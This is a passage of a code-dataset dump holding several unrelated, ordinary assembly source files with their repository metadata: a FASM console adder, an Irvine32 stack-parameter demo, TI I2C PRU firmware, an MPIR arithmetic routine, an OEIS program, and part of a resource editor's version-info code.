hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
sequencelengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
sequencelengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
sequencelengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
9e09add8de3e85d2865e411a3633b60d918034fa
1,347
asm
Assembly
FASM/x32/console_add_call.asm
secana/Assembler-Examples
4b67a32e702d5456ac00380ca081028c2e8d0baf
[ "Apache-2.0" ]
8
2018-06-02T21:45:08.000Z
2022-03-16T07:35:29.000Z
FASM/x32/console_add_call.asm
secana/Assembler-Examples
4b67a32e702d5456ac00380ca081028c2e8d0baf
[ "Apache-2.0" ]
null
null
null
FASM/x32/console_add_call.asm
secana/Assembler-Examples
4b67a32e702d5456ac00380ca081028c2e8d0baf
[ "Apache-2.0" ]
7
2017-12-05T16:51:23.000Z
2021-03-15T23:01:08.000Z
format PE console entry start include 'win32a.inc' section '.idata' import data readable writeable library kernel32, 'kernel32.dll', \ msvcrt, 'MSVCRT.DLL' import kernel32, \ ExitProcess, 'ExitProcess' import msvcrt, \ printf, 'printf', \ scanf, 'scanf' section '.data' data readable szEnterNum db 'Please enter a number: ',0 szResult db '%d + %d = %d',10,0 szReadNumFormat db '%d',0 section '.bss' data readable writeable dwFirstNum rd 1 dwSecondNum rd 1 dwResult rd 1 section '.text' code readable executable start: ; Ask for the first number push szEnterNum call [printf] add esp, 4 push dwFirstNum push szReadNumFormat call [scanf] add esp, 8 ; Ask for the second number push szEnterNum call [printf] add esp, 4 push dwSecondNum push szReadNumFormat call [scanf] add esp, 8 ; Add both numbers mov eax, [dwFirstNum] mov ebx, [dwSecondNum] add eax, ebx mov [dwResult], eax ; Print the result push [dwResult] push [dwSecondNum] push [dwFirstNum] push szResult call [printf] add esp, 16 exit: push 0 call [ExitProcess]
20.723077
47
0.570156
ebe86342e561cecc865b6adfec67139cc872a72d
483
asm
Assembly
Irvine/Examples/ch08/32 bit/Smallint.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
Irvine/Examples/ch08/32 bit/Smallint.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
Irvine/Examples/ch08/32 bit/Smallint.asm
alieonsido/ASM_TESTING
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
[ "Apache-2.0" ]
null
null
null
; Demonstrate 16-bit stack parameter (Smallint.asm) ; This program demonstrates the use of 16-bit stack parameters. INCLUDE Irvine32.inc .data wordVal WORD 1234h .code main PROC push wordVal call Smallint call DumpRegs exit main ENDP ; receives a 16-bit stack parameter. Uses STDCALL. PROC push ebp mov eax,0 mov ebp,esp mov ax,[ebp+8] ; get 16-bit parameter add ax,ax ; double it, return in EAX pop ebp ret 2 ; clean up the stack SmallInt ENDP END main
14.636364
63
0.726708
4c1b94670b8e8566a8daea7d2c458be8a99e7c9c
12,762
asm
Assembly
lib/am335x_sdk/ti/drv/i2c/firmware/icss_i2c/src/I2C_scheduler.asm
brandonbraun653/Apollo
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
[ "MIT" ]
2
2021-12-27T10:19:01.000Z
2022-03-15T07:09:06.000Z
lib/am335x_sdk/ti/drv/i2c/firmware/icss_i2c/src/I2C_scheduler.asm
brandonbraun653/Apollo
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
[ "MIT" ]
null
null
null
lib/am335x_sdk/ti/drv/i2c/firmware/icss_i2c/src/I2C_scheduler.asm
brandonbraun653/Apollo
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
[ "MIT" ]
null
null
null
; ; TEXAS INSTRUMENTS TEXT FILE LICENSE ; ; Copyright (c) 2017-2018 Texas Instruments Incorporated ; ; All rights reserved not granted herein. ; ; Limited License. ; ; Texas Instruments Incorporated grants a world-wide, royalty-free, non-exclusive ; license under copyrights and patents it now or hereafter owns or controls to ; make, have made, use, import, offer to sell and sell ("Utilize") this software ; subject to the terms herein. With respect to the foregoing patent license, ; such license is granted solely to the extent that any such patent is necessary ; to Utilize the software alone. The patent license shall not apply to any ; combinations which include this software, other than combinations with devices ; manufactured by or for TI (“TI Devices”). No hardware patent is licensed hereunder. ; ; Redistributions must preserve existing copyright notices and reproduce this license ; (including the above copyright notice and the disclaimer and (if applicable) source ; code license limitations below) in the documentation and/or other materials provided ; with the distribution. ; ; Redistribution and use in binary form, without modification, are permitted provided ; that the following conditions are met: ; No reverse engineering, decompilation, or disassembly of this software is ; permitted with respect to any software provided in binary form. ; Any redistribution and use are licensed by TI for use only with TI Devices. ; Nothing shall obligate TI to provide you with source code for the software ; licensed and provided to you in object code. ; ; If software source code is provided to you, modification and redistribution of the ; source code are permitted provided that the following conditions are met: ; Any redistribution and use of the source code, including any resulting derivative ; works, are licensed by TI for use only with TI Devices. ; Any redistribution and use of any object code compiled from the source code ; and any resulting derivative works, are licensed by TI for use only with TI Devices. ; ; Neither the name of Texas Instruments Incorporated nor the names of its suppliers ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; DISCLAIMER. ; ; THIS SOFTWARE IS PROVIDED BY TI AND TI’S LICENSORS "AS IS" AND ANY EXPRESS OR IMPLIED ; WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY ; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL TI AND TI’S ; LICENSORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE ; GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, ; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; file: I2C_scheduler.asm ; ; brief: Round-robin based I2C_scheduler which controls program flow. ; ; ; (C) Copyright 2017-2018, Texas Instruments, Inc ; ; ;.fcnolist ; suppress listing of false conditional blocks in lister output ;;/////////////////////////////////////////////////////// ; Includes Section ;;/////////////////////////////////////////////////////// .include "firmware_version.h" .include "I2C_scheduler.h" ;.setcallreg CALL_REG .retain ; Required for building .out with assembly file .retainrefs ; Required for building .out with assembly file .if $defined("AM437X_ICSS0") ; I2C instance context CTXT_NREGS .set 10 ; 10 registers for each I2C instance context CTXT_SZ .set 4*CTXT_NREGS ; 4 bytes per 32-bit register I2C0_CTXT .usect ".i2c_ctxt", CTXT_SZ, 4 ; I2C0 context I2C1_CTXT .usect ".i2c_ctxt", CTXT_SZ, 4 ; I2C1 context I2C2_CTXT .usect ".i2c_ctxt", CTXT_SZ, 4 ; I2C1 context I2C3_CTXT .usect ".i2c_ctxt", CTXT_SZ, 4 ; I2C1 context .def PRU_TMP_CTXT .if $defined("PRU0") ; PRU0/1 local copy IEP DIGIO output enable register PRU_TMP_CTXT .usect ".pru0_tmp_ctxt", TMP_CTXT_SZ, 4 .else PRU_TMP_CTXT .usect ".pru1_tmp_ctxt", TMP_CTXT_SZ, 4 .endif .endif ; AM437X_ICSS0 .sect ".data" .retain .word I2C_FIRMWARE_TYPE .word I2C_FIRMWARE_VERSION .word I2C_FIRMWARE_FEATURE .word I2C_FIRMWARE_EXTENDED_FEATURE_PTR .sect ".text:I2C_scheduler" .global I2C_scheduler .global RESET_MODE I2C_scheduler: ;Firmware Version: To store in shared memory. Can be used by application. ZERO &R0, 124 ;Zero all registers LDI R31 , 0 .if !$defined("AM437X_ICSS0") ; Enable support of shifting during XIN/XOUT operation ENABLE_XIN_XOUT_SHITFTING .endif ; Initialize I2C instance 0 registers LDI R10.w0 , ICSS_I2C_INSTANCE0_ADDR LDI R10.w2 , 0x0000 LDI R11.w0 , ICSS_I2C_INSTANCE0_TX_MEM LDI R11.w2 , 0x0000 LDI R12.w0 , ICSS_I2C_INSTANCE0_RX_MEM LDI R12.w2 , 0x0000 LDI R13.w0 , $CODE(RESET_MODE) LDI R13.w2 , 0x0000 MOV32 R14 , 0x00000000 MOV32 R15 , 0x00000000 MOV32 R16 , 0x00000000 MOV32 R17 , 0x00000000 MOV32 R18 , 0x00000000 MOV32 R19 , 0x00000000 ; Save I2C instance context .if !$defined("AM437X_ICSS0") ; Save context to SPAD .if $defined("PRU0") LDI R0.b0, 0x14 XOUT BANK0, &R10, 40 .else LDI R0.b0, 0x14 XOUT BANK2, &R10, 40 .endif .else ; AM437X_ICSS0 ; Save context to DMEM LDI R0, I2C0_CTXT SBBO &R10, R0, 0, CTXT_SZ .endif ; AM437X_ICSS0 ; Initialize I2C instance 1 registers LDI R10.w0 , ICSS_I2C_INSTANCE1_ADDR LDI R10.w2 , 0x0000 LDI R11.w0 , ICSS_I2C_INSTANCE1_TX_MEM LDI R11.w2 , 0x0000 LDI R12.w0 , ICSS_I2C_INSTANCE1_RX_MEM LDI R12.w2 , 0x0000 LDI R13.w0 , $CODE(RESET_MODE) LDI R13.w2 , 0x0000 MOV32 R14 , 0x00000000 MOV32 R15 , 0x00000000 MOV32 R16 , 0x00000000 MOV32 R17 , 0x00000000 MOV32 R18 , 0x00000000 MOV32 R19 , 0x00000000 ; Save I2C instance context .if !$defined("AM437X_ICSS0") .if $defined("PRU0") LDI R0.b0, 0x00 XOUT BANK0, &R10, 40 .else LDI R0.b0, 0x00 XOUT BANK2, &R10, 40 .endif .else ; AM437X_ICSS0 ; Save context to DMEM LDI R0, I2C1_CTXT SBBO &R10, R0, 0, CTXT_SZ .endif ; AM437X_ICSS0 ; Initialize I2C instance 2 registers LDI R10.w0 , ICSS_I2C_INSTANCE2_ADDR LDI R10.w2 , 0x0000 LDI R11.w0 , ICSS_I2C_INSTANCE2_TX_MEM LDI R11.w2 , 0x0000 LDI R12.w0 , ICSS_I2C_INSTANCE2_RX_MEM LDI R12.w2 , 0x0000 LDI R13.w0 , $CODE(RESET_MODE) LDI R13.w2 , 0x0000 MOV32 R14 , 0x00000000 MOV32 R15 , 0x00000000 MOV32 R16 , 0x00000000 MOV32 R17 , 0x00000000 MOV32 R18 , 0x00000000 MOV32 R19 , 0x00000000 ; Save I2C instance context .if !$defined("AM437X_ICSS0") ; Save context to SPAD .if $defined("PRU0") LDI R0.b0, 0x0A XOUT BANK0, &R10, 40 .else LDI R0.b0, 0x0A XOUT BANK2, &R10, 40 .endif .else ; AM437X_ICSS0 ; Save context to DMEM LDI R0, I2C2_CTXT SBBO &R10, R0, 0, CTXT_SZ .endif ; AM437X_ICSS0 ; Initialize I2C instance 3 registers LDI R10.w0 , ICSS_I2C_INSTANCE3_ADDR LDI R10.w2 , 0x0000 LDI R11.w0 , ICSS_I2C_INSTANCE3_TX_MEM LDI R11.w2 , 0x0000 LDI R12.w0 , ICSS_I2C_INSTANCE3_RX_MEM LDI R12.w2 , 0x0000 LDI R13.w0 , $CODE(RESET_MODE) LDI R13.w2 , 0x0000 MOV32 R14 , 0x00000000 MOV32 R15 , 0x00000000 MOV32 R16 , 0x00000000 MOV32 R17 , 0x00000000 MOV32 R18 , 0x00000000 MOV32 R19 , 0x00000000 ; Save I2C instance context .if !$defined("AM437X_ICSS0") .if $defined("PRU0") LDI R0.b0, 0x14 XOUT BANK1, &R10, 40 .else LDI R0.b0, 0x0A XOUT BANK1, &R10, 40 .endif .else ; AM437X_ICSS0 ; Save context to DMEM LDI R0, I2C3_CTXT SBBO &R10, R0, 0, CTXT_SZ .endif ; AM437X_ICSS0 ;add a variable delay for N cyles to avoid contention ;between PRU0 and PRU1 if both out of reset at the same time. DELAY DELAY_CYCLE ZERO &R0, 124 ;Zero all registers ; decide the global working frequency for I2C FW LDI WORK_REG_5.w0, ICSS_I2C_CONFIG_MEMORY ADD WORK_REG_5.w0, WORK_REG_5.w0, I2C_BUS_FREQUENCY_OFFSET LBCO &I2C_GLOBAL_FREQ_REG.w0, PRU0_DMEM_CONST, WORK_REG_5.w0, 4 ; Setup the DIGIO IEP value I2C_SETUP_IEP_DIGIO ; Setup the IEP Timer Counter I2C_SETUP_IEP_COUNTER .if $defined("FW_DEBUG") .if $defined("PRU0") MOV32 R25, 0x00022000 .endif ;PRU0 .if $defined("PRU1") MOV32 R25, 0x00024000 .endif ;PRU1 .endif ;FW_DEBUG ; jump to task_loop based on global frequency QBEQ task_loop_100Khz, I2C_GLOBAL_FREQ_REG.w0, ICSS_I2C_100KHZ_FREQ QBEQ task_loop_400Khz, I2C_GLOBAL_FREQ_REG.w0, ICSS_I2C_400KHZ_FREQ .if !$defined("AM437X_ICSS0") QBEQ task_loop_1Mhz, I2C_GLOBAL_FREQ_REG.w0, ICSS_I2C_1MHZ_FREQ .else QBEQ task_loop_1Mhz_init, I2C_GLOBAL_FREQ_REG.w0, ICSS_I2C_1MHZ_FREQ .endif error_loop: LBCO &WORK_REG_1, ICSS_IEP_CONST, ICSS_IEP_GLOBAL_CFG_REG, 4 CLR WORK_REG_1 , WORK_REG_1 , 0 SBCO &WORK_REG_1, ICSS_IEP_CONST, ICSS_IEP_GLOBAL_CFG_REG, 4 LDI WORK_REG_5.w0, ICSS_INTC_SRSR0 MOV32 WORK_REG_6, 0x00400000 SBCO &WORK_REG_6, ICSS_INTC_CONST, WORK_REG_5.w0, 4 QBA error_loop ;scheduler for 100Khz mode task_loop_100Khz: ;wait for the IEP CMP event 0 to happen IEP_CHECK_EVENT0: I2C_WAIT_FOR_IEP_CMP ; clear IEP CMP event and interrupt associated with it. I2C_IEP_INTC_CLEAR_EVENT IEP_CHECK_EVENT0 ;perform the i2c wave transition for I2C0 I2C_WAVE_FUNCTION0 .if $defined("FW_DEBUG") LBBO &R27, R25, 0x0C, 4 QBLE error_loop, R27, 40 .endif ;FW_DEBUG ;wait for the IEP CMP event 1 to happen IEP_CHECK_EVENT1: I2C_WAIT_FOR_IEP_CMP ; clear IEP CMP event and interrupt associated with it. I2C_IEP_INTC_CLEAR_EVENT IEP_CHECK_EVENT1 ;perform the i2c wave transition for I2C1 I2C_WAVE_FUNCTION1 ;wait for the IEP CMP event 2 to happen IEP_CHECK_EVENT2: I2C_WAIT_FOR_IEP_CMP ; clear IEP CMP event and interrupt associated with it. I2C_IEP_INTC_CLEAR_EVENT IEP_CHECK_EVENT2 ;perform the i2c wave transition for I2C2 I2C_WAVE_FUNCTION2 ;wait for the IEP CMP event 3 to happen IEP_CHECK_EVENT3: I2C_WAIT_FOR_IEP_CMP ; clear IEP CMP event and interrupt associated with it. I2C_IEP_INTC_CLEAR_EVENT IEP_CHECK_EVENT3 ;perform the i2c wave transition for I2C3 I2C_WAVE_FUNCTION3 QBA task_loop_100Khz ;scheduler for 400Khz mode task_loop_400Khz: ;wait for the IEP CMP event 0 to happen IEP_CHECK_EVENT4: I2C_WAIT_FOR_IEP_CMP ; clear IEP CMP event and interrupt associated with it. I2C_IEP_INTC_CLEAR_EVENT IEP_CHECK_EVENT4 ;perform the i2c wave transition for I2C0 I2C_WAVE_FUNCTION0 QBA task_loop_400Khz .if !$defined("AM437X_ICSS0") ;scheduler for 1MHz mode task_loop_1Mhz: ;wait for the IEP CMP event 0 to happen IEP_CHECK_EVENT5: I2C_WAIT_FOR_IEP_CMP ; clear IEP CMP event and interrupt associated with it. I2C_IEP_INTC_CLEAR_EVENT1 ;perform the i2c wave transition for I2C0 I2C_WAVE_FUNCTION0 QBA task_loop_1Mhz .else ; AM437X_ICSS0 task_loop_1Mhz_init: ; Restore I2C instance context ; Restore context from DMEM LDI R0, I2C0_CTXT LBBO &R10, R0, 0, CTXT_SZ task_loop_1Mhz: ;wait for the IEP CMP event 0 to happen IEP_CHECK_EVENT5: I2C_WAIT_FOR_IEP_CMP ; clear IEP CMP event and interrupt associated with it. I2C_IEP_INTC_CLEAR_EVENT1 ; perform the i2c wave transition for I2C0 ; no context save/restore to reduce cycle count, ; only single instance supported I2C_WAVE_FUNCTION0_SINGLE_I2C_INST QBA task_loop_1Mhz .endif ; AM437X_ICSS0
32.891753
104
0.672308
8c1473bdf294c462f48845e114051b2d98f12908
2,026
asm
Assembly
externals/mpir-3.0.0/mpn/x86w/pentium4/sse2/modexact_1c_odd.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
12
2021-09-29T14:50:06.000Z
2022-03-31T15:01:21.000Z
externals/mpir-3.0.0/mpn/x86w/pentium4/sse2/modexact_1c_odd.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
15
2021-12-24T22:53:49.000Z
2021-12-25T10:03:13.000Z
LibSource/mpir/mpn/x86w/pentium4/sse2/modexact_1c_odd.asm
ekzyis/CrypTool-2
1af234b4f74486fbfeb3b3c49228cc36533a8c89
[ "Apache-2.0" ]
10
2021-10-17T19:46:51.000Z
2022-03-18T02:57:57.000Z
; Copyright 2001, 2002 Free Software Foundation, Inc. ; ; This file is part of the GNU MP Library. ; ; The GNU MP Library is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public License as ; published by the Free Software Foundation; either version 2.1 of the ; License, or (at your option) any later version. ; ; The GNU MP Library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with the GNU MP Library; see the file COPYING.LIB. If ; not, write to the Free Software Foundation, Inc., 59 Temple Place - ; Suite 330, Boston, MA 02111-1307, USA. ; ; Translation of AT&T syntax code by Brian Gladman section .text extern ___gmp_modlimb_invert_table global ___gmpn_modexact_1_odd global ___gmpn_modexact_1c_odd %ifdef DLL export ___gmpn_modexact_1_odd export ___gmpn_modexact_1c_odd %endif align 16 ___gmpn_modexact_1c_odd: movd mm1,[16+esp] jmp start_1c align 16 ___gmpn_modexact_1_odd: pxor mm1,mm1 start_1c: mov eax,[12+esp] movd mm7,[12+esp] shr eax,1 and eax,127 movzx eax,byte [___gmp_modlimb_invert_table+eax] movd mm6,eax movd mm0,eax pmuludq mm6,mm6 pmuludq mm6,mm7 paddd mm0,mm0 psubd mm0,mm6 pxor mm6,mm6 paddd mm6,mm0 pmuludq mm0,mm0 pmuludq mm0,mm7 paddd mm6,mm6 mov eax,[4+esp] mov ecx,[8+esp] psubd mm6,mm0 pxor mm0,mm0 top: movd mm2,[eax] add eax,4 psubq mm2,mm0 psubq mm2,mm1 movq mm0,mm2 psrlq mm0,63 pmuludq mm2,mm6 movq mm1,mm7 pmuludq mm1,mm2 psrlq mm1,32 sub ecx,1 jnz top done: paddq mm0,mm1 movd eax,mm0 emms ret end
23.55814
72
0.679664
0f28a4c18184a76e7a1890c0413b1285c40e20bf
379
asm
Assembly
programs/oeis/220/A220186.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/220/A220186.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/220/A220186.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A220186: Numbers n >= 0 such that n^2 + n*(n+1)/2 is a square. ; 0,8,800,78408,7683200,752875208,73774087200,7229107670408,708378777612800,69413891098384008,6801852948864020000,666512175097575576008,65311391306613542428800,6399849835873029582446408,627119972524250285537319200 seq $0,87799 ; a(n) = 10*a(n-1) - a(n-2), starting with a(0) = 2 and a(1) = 10. pow $0,2 div $0,12
54.142857
213
0.759894
7f7dac3f54dc18bfa3ab62acd6a3a3f081eaa590
19,532
asm
Assembly
Code/CustomControl/RAResEd/Src/Bak/VersionEdit(3).asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
11
2016-12-03T16:35:42.000Z
2022-03-26T06:02:53.000Z
Code/CustomControl/RAResEd/Src/Bak/VersionEdit(3).asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
1
2018-02-24T20:17:46.000Z
2018-03-02T08:57:40.000Z
Code/CustomControl/RAResEd/Src/Bak/VersionEdit(3).asm
CherryDT/FbEditMOD
beb0eb22cae1b8f7203d55bd6b293d8ec88231ca
[ "Unlicense" ]
4
2018-10-19T01:14:55.000Z
2021-09-11T18:51:48.000Z
IDD_DLGVERSION equ 1700 IDC_EDTVERFILE equ 2903 IDC_EDTVERPROD equ 2904 IDC_CBOVEROS equ 2905 IDC_CBOVERTYPE equ 2906 IDC_CBOVERLANG equ 2907 IDC_CBOVERCHAR equ 2908 IDC_LSTVER equ 2909 IDC_EDTVER equ 2910 IDC_EDTVERTPE equ 2911 IDC_BTNVERADD equ 2912 .const szVerOS dd 00000004h db 'WINDOWS32',0 dd 00000000h db 'UNKNOWN',0 dd 00010000h db 'DOS',0 dd 00020000h db 'OS216',0 dd 00030000h db 'OS232',0 dd 00040000h db 'NT',0 dd 00000000h db 'BASE',0 dd 00000001h db 'WINDOWS16',0 dd 00000002h db 'PM16',0 dd 00000003h db 'PM32',0 dd 00010001h db 'DOS_WINDOWS16',0 dd 00010004h db 'DOS_WINDOWS32',0 dd 00020002h db 'OS216_PM16',0 dd 00030003h db 'OS232_PM32',0 dd 00040004h db 'NT_WINDOWS32',0 dd 0,0 szVerFT dd 00000000h db 'UNKNOWN',0 dd 00000001h db 'APP',0 dd 00000002h db 'DLL',0 dd 00000003h db 'DRV',0 dd 00000004h db 'FONT',0 dd 00000005h db 'VXD',0 dd 00000007h db 'STATIC_LIB',0 dd 0,0 szVerLNG dd 0409h db 'U.S. English',0 dd 0401h db 'Arabic',0 dd 0402h db 'Bulgarian',0 dd 0403h db 'Catalan',0 dd 0404h db 'Traditional Chinese',0 dd 0405h db 'Czech',0 dd 0406h db 'Danish',0 dd 0407h db 'German',0 dd 0408h db 'Greek',0 dd 040Ah db 'Castilian Spanish',0 dd 040Bh db 'Finnish',0 dd 040Ch db 'French',0 dd 040Dh db 'Hebrew',0 dd 040Eh db 'Hungarian',0 dd 040Fh db 'Icelandic',0 dd 0410h db 'Italian',0 dd 0411h db 'Japanese',0 dd 0412h db 'Korean',0 dd 0413h db 'Dutch',0 dd 0414h db 'Norwegian - Bokml',0 dd 0415h db 'Polish',0 dd 0416h db 'Brazilian Portuguese',0 dd 0417h db 'Rhaeto-Romanic',0 dd 0417h db 'Rhaeto-Romanic',0 dd 0418h db 'Romanian',0 dd 0419h db 'Russian',0 dd 041Ah db 'Croato-Serbian (Latin)',0 dd 041Bh db 'Slovak',0 dd 041Ch db 'Albanian',0 dd 041Dh db 'Swedish',0 dd 041Eh db 'Thai',0 dd 041Fh db 'Turkish',0 dd 0420h db 'Urdu',0 dd 0421h db 'Bahasa',0 dd 0804h db 'Simplified Chinese',0 dd 0807h db 'Swiss German',0 dd 0809h db 'U.K. English',0 dd 080Ah db 'Mexican Spanish',0 dd 080Ch db 'Belgian French',0 dd 0810h db 'Swiss Italian',0 dd 0813h db 'Belgian Dutch',0 dd 0814h db 'Norwegian - Nynorsk',0 dd 0816h db 'Portuguese',0 dd 081Ah db 'Serbo-Croatian (Cyrillic)',0 dd 0C0Ch db 'Canadian French',0 dd 100Ch db 'Swiss French',0 dd 0,0 szVerCHS dd 1200 db 'Unicode',0 dd 0 db '7-bit ASCII',0 dd 932 db 'Japan (Shift - JIS X-0208)',0 dd 949 db 'Korea (Shift - KSC 5601)',0 dd 950 db 'Taiwan (GB5)',0 dd 1250 db 'Latin-2 (Eastern European)',0 dd 1251 db 'Cyrillic',0 dd 1252 db 'Multilingual',0 dd 1253 db 'Greek',0 dd 1254 db 'Turkish',0 dd 1255 db 'Hebrew',0 dd 1256 db 'Arabic',0 dd 0,0 szVerTpe db 'CompanyName',0 db 'FileVersion',0 db 'FileDescription',0 db 'InternalName',0 db 'LegalCopyright',0 db 'LegalTrademarks',0 db 'OriginalFilename',0 db 'ProductName',0 db 'ProductVersion',0 db 0 szStringFileInfo db 'StringFileInfo',0 szVarFileInfo db 'VarFileInfo',0 szTranslation db 'Translation',0 .data szVersionName db 'IDR_VERSION',0 defver VERSIONMEM <,1,1,0,0,0,1,0,0,0,4,0,409h,4B0h> VERSIONITEM <"FileVersion","1.0.0.0"> VERSIONITEM <"ProductVersion","1.0.0.0"> VERSIONITEM 30 dup(<>) .data? szVersionTxt db 32*256 dup(?) lpOldEditProc dd ? hVerDlg dd ? .code IncrementVersion proc lpProMem:DWORD mov eax,hDialog .if eax && eax==hVerDlg invoke CloseDialog .endif PrintDec eax , "CloseDialog" invoke GetTypeMem,lpProMem,TPE_VERSION PrintDec eax, "GetTypeMem" .if eax mov edx,[eax].PROJECT.hmem inc [edx].VERSIONMEM.fv3 inc [edx].VERSIONMEM.pv3 mov [eax].PROJECT.changed,TRUE .endif ret IncrementVersion endp ExportVersionNames proc uses esi edi,hMem:DWORD invoke xGlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,1024*16 mov edi,eax invoke GlobalLock,edi push edi mov esi,hMem ;#define .if [esi].VERSIONMEM.szname && [esi].VERSIONMEM.value invoke ExportName,addr [esi].VERSIONMEM.szname,[esi].VERSIONMEM.value,edi lea edi,[edi+eax] .endif pop eax ret ExportVersionNames endp ExportVersion proc uses esi edi,hMem:DWORD invoke xGlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,1024*16 mov edi,eax invoke GlobalLock,edi push edi mov esi,hMem ;Name or ID .if [esi].VERSIONMEM.szname invoke strcpy,edi,addr [esi].VERSIONMEM.szname .else invoke ResEdBinToDec,[esi].VERSIONMEM.value,edi .endif invoke strlen,edi add edi,eax mov al,' ' stosb invoke SaveStr,edi,addr szVERSIONINFO add edi,eax mov al,0Dh stosb mov al,0Ah stosb ;File version invoke SaveStr,edi,addr szFILEVERSION add edi,eax mov al,' ' stosb push esi lea esi,[esi].VERSIONMEM.fv call SaveVer pop esi ;Product version invoke SaveStr,edi,addr szPRODUCTVERSION add edi,eax mov al,' ' stosb push esi lea esi,[esi].VERSIONMEM.pv call SaveVer pop esi ;File OS invoke SaveStr,edi,addr szFILEOS add edi,eax mov al,' ' stosb mov eax,[esi].VERSIONMEM.os call SaveHex ;File type invoke SaveStr,edi,addr szFILETYPE add edi,eax mov al,' ' stosb mov eax,[esi].VERSIONMEM.ft call SaveHex invoke SaveStr,edi,addr szBEGIN add edi,eax mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb invoke SaveStr,edi,addr szBLOCK add edi,eax mov al,' ' stosb mov al,22h stosb invoke SaveStr,edi,addr szStringFileInfo add edi,eax mov al,22h stosb mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb invoke SaveStr,edi,addr szBEGIN add edi,eax mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb stosb stosb invoke SaveStr,edi,addr szBLOCK add edi,eax mov al,' ' stosb mov al,22h stosb mov eax,[esi].VERSIONMEM.lng invoke hexEax invoke strcpy,edi,offset strHex+4 add edi,4 mov eax,[esi].VERSIONMEM.chs invoke hexEax invoke strcpy,edi,offset strHex+4 add edi,4 mov al,22h stosb mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb stosb stosb invoke SaveStr,edi,addr szBEGIN add edi,eax mov al,0Dh stosb mov al,0Ah stosb push esi lea esi,[esi+sizeof VERSIONMEM] .while TRUE .break .if ![esi].VERSIONITEM.szname .if [esi].VERSIONITEM.szvalue mov al,' ' stosb stosb stosb stosb stosb stosb invoke SaveStr,edi,addr szVALUE add edi,eax mov al,' ' stosb mov al,22h stosb invoke SaveStr,edi,addr [esi].VERSIONITEM.szname add edi,eax mov al,22h stosb mov al,',' stosb mov al,' ' stosb mov al,22h stosb invoke SaveStr,edi,addr [esi].VERSIONITEM.szvalue add edi,eax mov al,'\' stosb mov al,'0' stosb mov al,22h stosb mov al,0Dh stosb mov al,0Ah stosb .endif lea esi,[esi+sizeof VERSIONITEM] .endw pop esi mov al,' ' stosb stosb stosb stosb invoke SaveStr,edi,addr szEND add edi,eax mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb invoke SaveStr,edi,addr szEND add edi,eax mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb 